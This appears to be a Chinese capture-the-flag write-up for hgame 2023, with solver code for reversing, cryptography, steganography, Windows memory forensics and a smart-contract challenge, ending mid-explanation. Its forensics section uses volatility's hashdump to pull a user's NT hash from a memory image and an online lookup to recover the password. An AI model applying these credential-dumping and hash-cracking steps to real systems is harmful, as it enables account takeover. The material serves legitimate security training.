0, 0, 0, 253, 0, 0, 1, 105, 0, 0,
0, 92, 0, 0, 1, 175, 0, 0, 0, 178,
0, 0, 1, 236, 0, 0, 1, 82, 0, 0,
1, 79, 0, 0, 1, 26, 0, 0, 0, 80,
0, 0, 1, 133, 0, 0, 0, 205, 0, 0,
0, 35, 0, 0, 0, 248, 0, 0, 0, 12,
0, 0, 0, 207, 0, 0, 1, 61, 0, 0,
1, 69, 0, 0, 0, 130, 0, 0, 1, 210,
0, 0, 1, 41, 0, 0, 1, 213, 0, 0,
1, 6, 0, 0, 1, 162, 0, 0, 0, 222,
0, 0, 1, 166, 0, 0, 1, 202, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0
]
def load(s):
global data
data1 = []
cnt = 0
number = 0
for i in data:
number += i << (cnt * 8)
cnt += 1
if cnt == 4:
cnt = 0
data1.append(number)
number = 0
data = data1
for i in range(len(s)):
data[i] = ord(s[i])
def encrypt(num, i):
r1 = num + data[50 + i]
r0 = data[100 + i]
r1 = r1 ^ r0
r2 = r1
r1 = (r1 << 8) & 0xff00
r2 = r2 >> 8
r1 = r1 + r2
return r1
dic = range(30, 127)
if __name__ == '__main__':
load('')
print(data[150:])
print(data[189])
ans = ''
for i in range(41):
correct = data[189 - i]
for c in dic:
encryptedNum = encrypt(c, i)
if correct == encryptedNum:
ans = ans + chr(c)
print(ans)
运行即可获得flag:
hgame{y0ur_rever5e_sk1ll_i5_very_g0od!!}
说实话,本题其实在前期的数据处理中踩了坑,data
变量是DWORD
类型,理应是占4
字节的,然而IDA导出的数组默认却成了char
类型,无奈笔者只好自行转换。而在转换过程中,拼接的顺序也十分重要,千万不要拼反了,不然就会找不到任何规律,白白浪费时间。
其实这道题笔者花费了不少时间,尝试了各种各样的方法反编译go语言,然而始终没找到与文件加密相关的代码,发现使用了shellcode
还是在偶然间看到题目名称的时候才想到的(所以做题先看题目真的很关键啊!)
将程序拖进IDA反编译后发现,程序解码了一个BASE64数据,根据动态调试,发现下文中syscall_Syscall
函数运行的正是这段被解码的数据,显然十分可疑:
结合题目名称,我们可以知道,这是一段shellcode
。
于是将该内容提取出来,放入IDA反汇编,汇编代码如下:
然而笔者并没有学过汇编,只能盲人摸象,胡乱猜测。根据shl 4
、shr 5
等操作,笔者猜测该段代码和文件加密有关,而且很可能是TEA加密,而密钥则是上面的四个值0x16,0x21,0x2c,0x37
,于是编写解密程序尝试解密:
#include
#include
#include
#include
void decrypt(unsigned int *v, unsigned int *k) {
unsigned int v0 = v[0], // v7
v1 = v[1]; // v9
int delta = -1412567261; // delta
int sum = 2042487904; // v3
unsigned int k0 = k[0], // v2
k1 = k[1], // v4
k2 = k[2], // v5
k3 = k[3]; // v6
for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
void doDecrypt(const char *c) {
unsigned int si128[] = {0x16, 0x21, 0x2c, 0x37};
char buf[50] = {0};
memcpy(buf, c, strlen(c));
decrypt((unsigned int *)&buf, si128);
printf("%s", buf);
}
int __cdecl main() {
doDecrypt(" i\xb3\xe4\xd0$i\x93");
doDecrypt("D\xd1\x16\xa8\xf5\xd5\x82\xaa");
doDecrypt("\xda\xf0y6\x06\xfd\x32\x7f");
doDecrypt("\xd3\xc0`49I!\xb7");
doDecrypt("\xa2ir\xe5\xfaQj\x83");
return 0;
}
事实确实如此,运行程序后,得到了flag:
hgame{th1s_1s_th3_tutu's_h0mew0rk}
本题题目代码如下:
from Crypto.Util.number import *
from random import randint
from sage.all import next_prime
from flag import flag
class LCG():
def __init__(self) -> None:
self.n = next_prime(2**360)
self.a = bytes_to_long(flag)
self.seed = randint(1, self.n-1)
def next(self):
self.seed = self.seed * self.a + randint(-2**340, 2**340) % self.n
return self.seed
lcg = LCG()
outputs = []
for i in range(40):
outputs.append(lcg.next())
with open('output.txt', 'w') as f:
f.write(str(outputs))
由于本题作者在取模的时候,漏加了一个括号,导致题目变得十分简单,简单来说,只需要取输出数组的前两个值:
arr[1] = 1137660125635315218550396257283379271126281654707140024628565116239043227654756862152080704553915295597833918194897961244358284543325452196119976528044019410771533996460493628849739976409844578782648330528014140288383
arr[2] = 1089651052473835282827308128311065828561396663364911240972959788909515306616863980465990986336276384903707375227394223034256042622812751981085694555292380388664573448420064229133421678240606441518887044132670115591301857935030769271271599367581377247424328062635288832121331371889491239538842244877683244987389057941199373965
计算 ⌊ a r r 2 ÷ a r r 1 ⌋ \lfloor arr_2 \div arr_1 \rfloor ⌊arr2÷arr1⌋即可,因为
a r r 1 = s e e d ∗ a + ( x 1 M o d n ) , x 1 ∈ [ − 2 340 , 2 340 ] arr_1 = seed * a + (x_1\ Mod\ n), x_1 \in [-2^{340}, 2^{340}] arr1=seed∗a+(x1 Mod n),x1∈[−2340,2340]
a r r 2 = a r r 1 ∗ a + ( x 2 M o d n ) , x 2 ∈ [ − 2 340 , 2 340 ] arr_2 = arr_1 * a + (x_2\ Mod\ n), x_2 \in [-2^{340}, 2^{340}] arr2=arr1∗a+(x2 Mod n),x2∈[−2340,2340]
因为 x n < n x_n \lt n xn<n,所以 x n M o d n = x n x_n\ Mod\ n = x_n xn Mod n=xn
a r r 1 = s e e d ∗ a + x 1 arr_1 = seed * a + x_1 arr1=seed∗a+x1
a r r 2 = a r r 1 ∗ a + x 2 arr_2 = arr_1 * a + x_2 arr2=arr1∗a+x2
a r r 2 = ( s e e d ∗ a + x 1 ) ∗ a + x 2 , x 2 ∈ [ − 2 340 , 2 340 ] arr_2 = (seed * a + x_1) * a + x_2, x_2 \in [-2^{340}, 2^{340}] arr2=(seed∗a+x1)∗a+x2,x2∈[−2340,2340]
此时
a r r 2 a r r 1 = ( s e e d ∗ a + x 1 ) ∗ a + x 2 s e e d ∗ a + x 1 = a + x 2 s e e d ∗ a + x 1 \frac{arr_2}{arr_1}=\frac{(seed * a + x_1) * a + x_2}{seed * a + x_1}=a+\frac{x_2}{seed * a + x_1} arr1arr2=seed∗a+x1(seed∗a+x1)∗a+x2=a+seed∗a+x1x2
又因为
s e e d = r a n d i n t ( 1 , n − 1 ) , n > 2 360 seed=randint(1, n-1), n>2^{360} seed=randint(1,n−1),n>2360
所以,存在很大的可能,满足 s e e d > x 1 seed > x_1 seed>x1
因此,基本上可以确定, s e e d ∗ a + x 1 > x 2 seed*a+x_1>x_2 seed∗a+x1>x2,即 x 2 s e e d ∗ a + x 1 < 1 \frac{x_2}{seed * a + x_1}<1 seed∗a+x1x2<1
整除得到flag:
hgame{W0w_you_know_the_hidden_number_problem}
本题题目代码如下:
from sage.all import *
from sage.all_cmdline import *
from Crypto.Util.number import *
from secret import flag
Nbits = 512
x = bytes_to_long(flag)
f = open('./output', 'w')
def gen_pubkey(Nbits):
p = getPrime(Nbits // 2)
q = getPrime(Nbits // 2)
n = p*q
while True:
a = getRandomInteger(Nbits // 2)
b = getRandomInteger(Nbits // 2)
if gcd(4*a**3 + 27*b**2, n) == 1:
break
E = EllipticCurve(Zmod(n), [a, b])
e = getPrime(64)
f.write(f"p={p}\nq={q}\n")
return n, E, e
n, E, e = gen_pubkey(Nbits)
pt = E.lift_x(Integer(x))
ct = pt * e
f.write(f"n = {n}\na = {E.a4()}\nb = {E.a6()}\ne = {e}\n")
f.write(f"ciphertext = {long_to_bytes(int(ct.xy()[0]))}\n")
已知信息:
p = 115192265954802311941399019598810724669437369433680905425676691661793518967453
q = 109900879774346908739236130854229171067533592200824652124389936543716603840487
# n = p * q
n = 12659731371633323406361071735480743870942884407511647144758055911931321534333057725377899993936046070028289182446615763391740446071787318153462098556669611
a = 34573016245861396068378040882622992245754693028152290874131112955018884485688
b = 103282137133820948206682036569671566996381438254897510344289164039717355513886
e = 11415307674045871669
# ciphertext = b'f\xb1\xae\x08`\xe8\xeb\x14\x8a\x87\xd6\x18\x82\xaf1q\xe4\x84\xf0\x87\xde\xedF\x99\xe0\xf7\xdcH\x9ai\x04[\x8b\xbbHR\xd6\xa0\xa2B\x0e\xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffKP\xcc\x00\x907\xf3\xea'
cipher = 5378524437009518839112103581484521575801169404987837300959984214542709038676856596473597472098329866932106236703753833875049687476896652097889558230201322
先将ciphertext
转成long
,这个是*e
后的x坐标,现在需要求出y坐标,直接使用lift_x
函数由于数值过大,无法计算,因此可以使用以下代码进行计算:
R.<y> = Zmod(n)[]
f = x^3 + a*x + b - y^2
print(f.roots())
但是,由于 n = p ∗ q n=p*q n=p∗q(p、q为素数),无法直接计算出结果,需要拆开计算。
构思的计算过程如下:
y 2 ≡ x 3 + a x + b ( M o d n ) , n = p ∗ q y^2\equiv x^3+ax+b\ (Mod\ n), n=p*q y2≡x3+ax+b (Mod n),n=p∗q
{ y 2 ≡ x 3 + a x + b ( M o d p ) , y 2 ≡ x 3 + a x + b ( M o d q ) . \left\{ \begin{aligned} y^2\equiv x^3 + ax + b\ (Mod\ p), \\ y^2\equiv x^3 + ax + b\ (Mod\ q). \end{aligned} \right. {y2≡x3+ax+b (Mod p),y2≡x3+ax+b (Mod q).
将 x x x代入两式,求得 y 1 y_1 y1、 y 2 y_2 y2,有
{ y 1 2 ≡ y 2 ( M o d p ) , y 2 2 ≡ y 2 ( M o d q ) . \left\{ \begin{aligned} y_1^2\equiv y^2 (Mod\ p), \\ y_2^2\equiv y^2\ (Mod\ q). \end{aligned} \right. {y12≡y2(Mod p),y22≡y2 (Mod q).
对于 y 1 y_1 y1,有
y 1 2 = y 2 + k p y_1^2 = y^2 + kp y12=y2+kp
( y 1 + y ) ( y 1 − y ) = k p (y_1+y)(y_1-y)=kp (y1+y)(y1−y)=kp
所以
y 1 ≡ y ( M o d p ) y_1 \equiv y\ (Mod\ p) y1≡y (Mod p)
同理
y 2 ≡ y ( M o d q ) y_2 \equiv y\ (Mod\ q) y2≡y (Mod q)
令前式中 y 1 y_1 y1、 y 2 y_2 y2对应的 k k k为 k 1 k_1 k1、 k 2 k_2 k2
y = k 1 p + y 1 = k 2 q + y 2 y=k_1p+y_1=k_2q+y_2 y=k1p+y1=k2q+y2
k 1 p = k 2 q + y 2 − y 1 k_1p=k_2q+y_2-y_1 k1p=k2q+y2−y1
设 p p p对 q q q取逆为 p − 1 p^{-1} p−1,有
p − 1 p ≡ 1 ( M o d q ) p^{-1}p \equiv 1\ (Mod\ q) p−1p≡1 (Mod q)
( y 2 − y 1 ) p − 1 p ≡ y 2 − y 1 ( M o d q ) (y_2-y_1)p^{-1}p\equiv y_2 - y_1\ (Mod\ q) (y2−y1)p−1p≡y2−y1 (Mod q)
故取 k 1 = ( y 2 − y 1 ) p − 1 k_1=(y_2-y_1)p^{-1} k1=(y2−y1)p−1
此时 y ′ = ( y 2 − y 1 ) p − 1 p + y 1 y^{'}=(y_2-y_1)p^{-1}p+y_1 y′=(y2−y1)p−1p+y1
对 n n n取模后,即可求得 y y y
程序实现过程如下:
首先,先计算 Z m o d ( p ) Zmod(p) Zmod(p)域内的 y 1 y_1 y1,再计算 Z m o d ( q ) Zmod(q) Zmod(q)域内的 y 2 y_2 y2:
R.<y> = Zmod(p)[]
f = x^3 + a*x + b - y^2
print(f.roots())
R.<y> = Zmod(q)[]
f = x^3 + a*x + b - y^2
print(f.roots())
解得
Mod p:
[(60316725576536008544362819709695572607167462139249474498633602356218818183892, 1), (54875540378266303397036199889115152062269907294431430927043089305574700783561, 1)]
Mod q:
[(105823306941028179927395299019710676471649082172062645166592994997652899394314, 1), (4077572833318728811840831834518494595884510028762006957796941546063704446173, 1)]
计算 y y y
y1 = 54875540378266303397036199889115152062269907294431430927043089305574700783561
y2 = 4077572833318728811840831834518494595884510028762006957796941546063704446173
t = (y2 - y1) * invert(p, q)
t = t * p + y1
y = t % n
print(y)
# 10199065317034107457489102957880808079053249053270397152093884588819660579939295485085835753530135777025454703813951607770954939197597311157418124430298722
这样,我们就得到了 c i p h e r cipher cipher对应的 y y y。
接下来,分析椭圆曲线, Q = e P Q=eP Q=eP,我们已知 Q Q Q和 e e e,且 e e e为素数,需要求 P P P,大致思路如下:
已知 P P P为生成元的群的阶为 n n n,即 n P = 0 nP=0 nP=0
e e e与 n n n互素时,设 e − 1 e^{-1} e−1为 e e e对 n n n的逆,有
e − 1 e = k n + 1 e^{-1}e=kn+1 e−1e=kn+1
e − 1 Q = e − 1 e P = k n P + P = P e^{-1}Q=e^{-1}eP=knP+P=P e−1Q=e−1eP=knP+P=P
所以
P = e − 1 Q P=e^{-1}Q P=e−1Q
程序实现过程如下:
代入椭圆曲线求阶。此处由于 n n n不是素数,因此,求阶也用上面相同的方法,先在Zmod(p)
定义椭圆曲线,求阶 o r d e r 1 order1 order1,再在Zmod(q)
定义椭圆曲线,求阶 o r d e r 2 order2 order2:
注:这里Sagemath
求阶很慢,大概要一两分钟才能算出,千万不要以为算不出来停止程序!
E = EllipticCurve(Zmod(p), [a, b])
print(E(x, y).order())
E = EllipticCurve(Zmod(q), [a, b])
print(E(x, y).order())
# 57596132977401155970699509799405362334879094977438851681966286670288183598942
# 109900879774346908739236130854229171066947175298920763282658606446284241695225
接下来,对 e e e关于 o r d e r 1 order1 order1和 o r d e r 2 order2 order2求逆,得到 e 1 − 1 e_1^{-1} e1−1和 e 2 − 1 e_2^{-1} e2−1:
order1 = 57596132977401155970699509799405362334879094977438851681966286670288183598942
print(invert(e, order1))
order2 = 109900879774346908739236130854229171066947175298920763282658606446284241695225
print(invert(e, order2))
# 52181148238999826269997348521669498523973297552529864092154146722475434456587
# 28860665691012025562690160190006496899036723712471327303075809420498864404529
将点 Q Q Q分别乘以 e 1 − 1 e_1^{-1} e1−1和 e 2 − 1 e_2^{-1} e2−1,得到 x 1 x_1 x1、 x 2 x_2 x2:
E = EllipticCurve(Zmod(p), [a, b])
e_1 = 52181148238999826269997348521669498523973297552529864092154146722475434456587
print(E(x, y)*e_1)
E = EllipticCurve(Zmod(q), [a, b])
e_2 = 28860665691012025562690160190006496899036723712471327303075809420498864404529
print(E(x, y)*e_2)
# (48494309904806728376959072180812326156563261489632316320588491082808406223560 : 44195684491268406285064620278061419107453570569873836087529644869465508326701 : 1)
# (60096144340662420409544377664399834868314629713356791451054313519444106083801 : 108948218400988301261222221522876031794044560830571857879909922751073979018293 : 1)
将 x 1 x_1 x1与 x 2 x_2 x2代入先前的计算式,得到 x x x:
x1 = 48494309904806728376959072180812326156563261489632316320588491082808406223560
x2 = 60096144340662420409544377664399834868314629713356791451054313519444106083801
t = (x2 - x1) * invert(p, q)
t = t * p + x1
x = t % n
print(long_to_bytes(x))
# b'hgame{ECC_4nd_RSA_also_can_be_combined}'
得到flag:
hgame{ECC_4nd_RSA_also_can_be_combined}
经过后期验证,发现其实如果将椭圆曲线的域设置在Zmod(p)
和Zmod(q)
,可以直接用lift_x
函数获得对应的 y y y值:
E = EllipticCurve(Zmod(p), [a, b])
print(E.lift_x(Integer(x)))
E = EllipticCurve(Zmod(q), [a, b])
print(E.lift_x(Integer(x)))
# (61423820596960499948966299789412354362086674189471142391989200387209265786284 : 60316725576536008544362819709695572607167462139249474498633602356218818183892 : 1)
# (106017678275557872173671551321222618190193126754512628899301773486474824272398 : 4077572833318728811840831834518494595884510028762006957796941546063704446173 : 1)
笔者在求解的时候算出来的 y y y有两个值,和lift_x
函数得到的结果有些不同,但是不影响最终计算结果。
本题解法可能一定不是预期解
(因为这太蠢了,答对都是靠的运气)
后记:若将原有的方法优化一下,可以十分接近正解,就不用靠运气了~
先前使用纯黑和纯白图片测试,发现存在一些规律:
笔者认为,要使这道题的解题成为可能,首先必须得找到原图。
笔者备份的原图可从该链接下载:https://od.vvbbnn00.cn/t/izzbLS
将图片上传至https://saucenao.com/,查询后发现这张图来源于PIXIV:https://www.pixiv.net/artworks/97558083,下载原图(一定要是原图,不然可能会无法进行后续比对!),先与flag.png
进行初步比较:
可以看见,虽然图像边缘与flag图有些许差异,但是差别很小,而且大多数不在G通道,而且将该图以空文本隐写一次,这些差异会消失,因此可以忽略不计。
于是,我们便拿到了原图,编写程序与flag图比对:
def diff(img1: Image, img2: Image, show=False):
diff_set = set()
w, h = img1.size
cnt = 0
for x in range(w):
for y in range(h):
cnt += 1
if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
diff_set.add(f"{x},{y},{dif}")
if show:
print(f"{x} {y} {cnt} {dif}")
return diff_set
输出结果如下:
16 457 14858 4
16 660 15061 4
20 344 18345 4
20 437 18438 4
20 755 18756 4
44 803 40404 -4
44 899 40500 -4
60 312 54313 4
62 515 56316 4
85 49 76550 -4
88 878 80079 -4
92 343 83144 4
93 247 83948 4
95 241 85742 4
112 491 101292 4
121 633 109534 4
122 733 110534 4
129 795 116896 -4
147 826 133127 -4
154 367 138968 4
156 182 140583 4
162 869 146670 -4
170 743 153744 4
184 341 165942 4
187 119 168420 4
191 578 172479 4
199 49 179150 -4
209 328 188429 4
219 259 197360 4
220 705 198706 4
221 185 199086 4
222 560 200361 4
228 679 205880 4
231 404 208305 4
234 335 210936 4
237 159 213460 4
238 186 214387 4
245 516 221017 4
246 633 222034 4
247 695 222996 4
252 57 226858 -4
265 534 239035 4
271 882 244783 -4
281 216 253117 4
282 758 254559 4
296 154 266555 4
297 214 267515 4
298 510 268711 4
306 148 275549 4
309 486 278587 4
317 343 285644 4
319 830 287931 -4
324 316 291917 4
328 388 295589 4
330 158 297159 4
337 429 303730 4
344 179 309780 4
347 136 312437 4
354 530 319131 4
362 249 326050 -4
369 408 332509 4
371 310 334211 4
390 378 351379 4
393 766 354467 4
406 478 365879 -4
416 824 375225 -4
421 279 379180 4
426 409 383810 4
428 289 385490 -4
428 681 385882 -4
436 858 393259 4
440 268 396269 -4
447 640 402941 4
448 610 403811 4
466 711 420112 4
470 521 423522 -4
471 280 424181 -4
479 537 431638 -4
491 88 441989 -4
493 51 443752 -4
493 442 444143 -4
516 276 464677 -4
521 427 469328 -4
522 412 470213 4
524 614 472215 4
525 890 473391 -4
530 380 477381 4
536 278 482679 4
543 294 488995 4
545 481 490982 -4
554 87 498688 4
559 443 503544 -4
567 704 511005 4
573 86 515787 -4
597 491 537792 -4
602 895 542696 4
611 56 549957 -4
616 467 554868 -4
617 62 555363 -4
641 724 577625 4
654 876 589477 4
662 272 596073 4
662 596 596397 -4
664 328 597929 4
674 50 606651 -4
682 495 614296 -4
693 195 623896 -4
707 573 636874 -4
716 862 645263 4
731 842 658743 4
736 103 662504 -4
788 646 709847 -4
831 728 748629 4
840 651 756652 -4
848 638 763839 -4
865 686 779187 -4
873 632 786333 -4
875 225 787726 4
877 531 789832 4
878 865 791066 -4
887 32 798333 -4
903 819 813520 -4
909 558 818659 4
918 618 826819 4
919 670 827771 -4
921 236 829137 4
922 187 829988 4
930 816 837817 -4
938 518 844719 4
956 112 860513 4
959 659 863760 4
961 829 865730 -4
990 733 891734 4
1008 425 907626 4
1010 430 909431 4
1021 638 919539 4
1030 343 927344 4
1030 607 927608 4
1038 245 934446 4
1041 853 937754 -4
1053 380 948081 4
1068 835 962036 -4
1103 639 993340 4
1108 505 997706 4
1122 541 1010342 4
1125 221 1012722 4
1125 232 1012733 4
1139 64 1025165 -4
1143 55 1028756 -4
1144 895 1030496 -4
1145 129 1030630 4
1147 481 1032782 4
1162 242 1046043 4
1172 457 1055258 4
1184 664 1066265 4
差异点很多,所以暂时先放着。
笔者先后分别测试了隐写内容0
、1
、01
、10
、h
、hg
、hga
、hgame
:
0 0b110000
309 486 278587 4
532 575 479376 4
765 633 689134 -4
1 0b110001
309 486 278587 4
532 575 479376 4
765 633 689134 -4
933 632 840333 4
01 0b11000000110001
93 247 83948 4
309 486 278587 4
426 409 383810 4
428 681 385882 -4
532 575 479376 4
765 633 689134 -4
10 0b11000100110000
309 486 278587 4
426 409 383810 4
428 681 385882 -4
532 575 479376 4
765 633 689134 -4
933 632 840333 4
h 0b1101000
309 486 278587 4
664 328 597929 4
hg 0b110100001100111
93 247 83947 4
222 560 200360 4
271 882 244782 -4
309 486 278586 4
369 408 332508 4
426 409 383809 4
428 681 385881 -4
554 87 498687 4
664 328 597928 4
hga 0b11010000110011101100001
93 247 83948 4
222 560 200361 4
271 882 244783 -4
309 486 278587 4
354 530 319131 4
369 408 332509 4
426 409 383810 4
428 681 385882 -4
493 442 444143 -4
554 87 498688 4
664 328 597929 4
887 32 798333 -4
903 819 813520 -4
1103 639 993340 4
1144 895 1030496 -4
hgame 0b110100001100111011000010110110101100101
93 247 83948 4
121 633 109534 4
222 560 200361 4
247 695 222996 4
271 882 244783 -4
309 486 278587 4
354 530 319131 4
369 408 332509 4
406 478 365879 -4
426 409 383810 4
428 681 385882 -4
493 442 444143 -4
524 614 472215 4
554 87 498688 4
664 328 597929 4
736 103 662504 -4
831 728 748629 4
887 32 798333 -4
903 819 813520 -4
930 816 837817 -4
956 112 860513 4
961 829 865730 -4
1038 245 934446 4
1103 639 993340 4
1144 895 1030496 -4
对比分析后发现,h
的差异点全部都在hg
和hgame
中出现了,hg
的差异点也全部在hgame
中出现,而1
中的部分点并不会在01
中出现,因此,可以利用这个现象,进行类似sql盲注一样的爆破。
爆破代码如下:
import string
from io import BytesIO
import requests
from Crypto.Util.number import bytes_to_long
from PIL import Image
from tqdm import tqdm
width = 1200
height = 900
try_txt = 'hgame{'
dic = '_' + string.digits + string.ascii_letters
def diff(img1: Image, img2: Image, show=False):
diff_set = set()
w, h = img1.size
cnt = 0
for x in range(w):
for y in range(h):
cnt += 1
if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
diff_set.add(f"{x},{y},{dif}")
if show:
print(f"{x} {y} {cnt} {dif}")
return diff_set
def getPic(text):
ret = requests.post('http://week-4.hgame.lwsec.cn:31930/upload', files={
'file': ori
}, data={
'text': text,
}).content
im = Image.open(BytesIO(ret))
return im
if __name__ == '__main__':
ori = open('steg/problem.png', 'rb').read()
ori_img = Image.open('steg/problem.png')
data = b'10'
print(data.decode(), bin(bytes_to_long(data)))
diff(ori_img, getPic(data), show=True)
flag = diff(ori_img, Image.open(f'steg/flag.png'))
already_exists = diff(ori_img, getPic(try_txt))
while True:
lis = []
for t in tqdm(dic):
img = getPic(try_txt + t)
dif = diff(ori_img, img)
if len(dif - flag) == 0 and len(already_exists - dif) == 0:
print(try_txt + t)
lis.append(t)
try_txt += lis[0]
print(''.join(lis))
爆破速度大概每2秒爆破一位,花了不少时间,最后每一位的可能解如下(一行为一位):
hgame{
01234567
_HIJKLMNOXYZ
LN
45delmtuDELMTU
01234567pqrstuvwPQRSTUVW
_GOW
DPT
139acikqsy
bhjprxz
159aeimquy
_RSVWZ
0189
hijklmnoHIJKLMNO
abcdefghijklmnoABCDEFGHIJKL
_VW
ABCPQRS
ptxPTX
45detu
fgnoFGNO
0246
4567defglmnotuvw
014589adehilmpqtuxyADEHILMPQTUXY
egEG
abchijkpqrsxyzABCHIJKPQRSXYZ
ac
02bpr
012389abchijkpqrsxyzABCHIJKPQRSXYZ
159aeimquyAEIMQUY
A
最后一个A笔者猜测是右大括号,尝试后确实满足。
接下来,就只能靠自己的想象力了,笔者初步拼接的结果如下:
4_N(e/E)(w/W)_Type_8(i/I)n_S(t/T)e(g/G)4n0(g/G)(r/R)ap(h/H)(y/Y)
由于大小写不可知,笔者还需要反复尝试找到最接近的解(dic变量一行一个,可以猜测多个解):
import string
from io import BytesIO
import requests
from PIL import Image
from tqdm import tqdm
dic = """4_New_Type_1mg_Steg4n0graphy"""
# for i in string.ascii_letters + string.digits + '-_^@':
# print(i, bin(ord(i))[2:].zfill(8))
def dfs(s, curr):
if curr == len(dd):
print(f'4_N{s[0]}{s[1]}_Type_8{s[2]}n_S{s[3]}e{s[4]}4n0{s[5]}{s[6]}ap{s[7]}{s[8]}')
return
for i in dd[curr]:
dfs(s + i, curr + 1)
width = 1200
height = 900
def diff(img1: Image, img2: Image):
diff_set = set()
w, h = img1.size
cnt = 0
for x in range(w):
for y in range(h):
cnt += 1
if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
diff_set.add(f"{x},{y},{dif}")
return diff_set
# print(by)
def getPic(text):
ret = requests.post('http://week-4.hgame.lwsec.cn:32647/upload', files={
'file': ori
}, data={
'text': text,
}).content
im = Image.open(BytesIO(ret))
return im
if __name__ == '__main__':
dd = dic.split("\n")
ori = open('steg/problem.png', 'rb').read()
ori_img = Image.open('steg/problem.png')
flag = diff(ori_img, Image.open(f'steg/flag.png'))
for txt in dd:
txt = 'hgame{%s}' % txt
img = getPic(txt)
dif = diff(ori_img, img)
print(txt, len(flag - dif), len(dif - flag))
在所有可能中,值最小的解为:
4_New_Type_8in_Steg4n0graphy
相差了5,说明至少有5位二进制位是错误的,经过反复尝试后,最终得到正解:
4_New_Type_1mg_Steg4n0graphy
故最终flag为:
hgame{4_New_Type_1mg_Steg4n0graphy}
笔者在整理题解的时候发现,爆破过程中,笔者只关注了是否全部差异点都在flag内,而没有关注flag内少了多少个差异点,如果把这个也加上,取减少差异点最多的那些值,不就大概率是正解了吗?优化后代码如下:
import string
from io import BytesIO
import requests
from PIL import Image
from tqdm import tqdm
width = 1200
height = 900
try_txt = 'hgame{'
dic = '_' + string.digits + string.ascii_letters
def diff(img1: Image, img2: Image, show=False):
diff_set = set()
w, h = img1.size
cnt = 0
for x in range(w):
for y in range(h):
cnt += 1
if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
diff_set.add(f"{x},{y},{dif}")
if show:
print(f"{x} {y} {cnt} {dif}")
return diff_set
def getPic(text):
ret = requests.post('http://week-4.hgame.lwsec.cn:31930/upload', files={
'file': ori
}, data={
'text': text,
}).content
im = Image.open(BytesIO(ret))
return im
if __name__ == '__main__':
ori = open('steg/problem.png', 'rb').read()
ori_img = Image.open('steg/problem.png')
flag = diff(ori_img, Image.open(f'steg/flag.png'))
already_exists = diff(ori_img, getPic(try_txt))
while True:
minDelta = 0xfffffff
lis = []
for t in tqdm(dic):
img = getPic(try_txt + t)
dif = diff(ori_img, img)
if len(dif - flag) == 0 and len(already_exists - dif) == 0:
delta = len(flag - dif)
if delta > minDelta:
continue
if delta < minDelta:
lis = []
minDelta = delta
lis.append(t)
print(try_txt + t)
try_txt += lis[0]
print(''.join(lis))
虽然速度没有变快,全部爆破仍然需要一个多小时,但是未知量大大减少,除了末尾部分全部算对了,值得一用!
本题考查基础的Windows内存取证,第一题的flag在环境变量中,最最最简单的办法就是打开vmem
,全文搜索hgame
即可,得到flag:
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
根据题目要求,使用volatility3进行内存取证。
首先,输入
python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.cmdline
查看命令行记录:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3OyufqUD-1675438517601)(null)]
发现提示:
flag2 is nthash of current user.txt
说明本题的flag是当前用户的nthash
,根据常识,我们可以知道,用户名应该是Noname
于是输入
python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.hashdump
获得nthash
:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sar3V3xL-1675438517718)(null)]
所以flag为:
hgame{84b0d9c9f830238933e7131d60ac6436}
由题可知,flag肯定和上题中出现的flag.7z
有关系,输入
python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.filescan | grep -E '7z'
查找flag.7z
的具体位置:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6ip1xEYK-1675438517663)(null)]
发现0xd0064181c950
和0xd00641b5ba70
都可以,笔者选择后者,然后输入指令将文件导出:
python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr=0xd00641b5ba70
去除后缀名.vacb
即可打开文件
打开后发现需要密码,密码是nthash
的原文,使用https://www.cmd5.com/轻松获得(而且还不要钱):
asdqwe123
输入密码,打开文件,得到flag:
hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}
本题的关键是不要先部署合约,先看代码。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
contract Transfer2{
Challenge public chall;
event SendFlag();
bytes32 constant salt = keccak256("HGAME 2023");
constructor() {
chall = new Challenge{salt: salt}();
if (chall.flag()){
emit SendFlag();
}
}
function getCode() pure public returns(bytes memory){
return type(Challenge).creationCode;
}
}
contract Challenge{
bool public flag;
constructor(){
if(address(this).balance >= 0.5 ether){
flag = true;
}
}
}
观察代码可知,如果事先没有满足条件(即balance>=0.5 ether
),那么是不可能触发sendFlag
事件的,因为constructor
不可能二次调用,同时,部署账号的私钥未知,不可能使用create2
或者create
函数重新部署合约(即使已知也做不到,因为Transfer2
合约是使用create
部署的,该函数以账户交易次数作为nonce
)。通过hash
碰撞来生成一个可以覆盖合约的地址的想法是愚蠢的,因为SHA3
在目前来看,碰撞几率几乎为0。
以上所有想法笔者都花了一天的时间去尝试和验证,因此不必再试了。
这么说,这道题难道就真的无解吗?当然不是,因为只要我们实现知道合约部署在什么地方,往那个Challenge
合约先转个1 ether
不就行了。
那么如何预测合约部署的地址呢?首先,我们创建一个账户,向账户转账1 ether
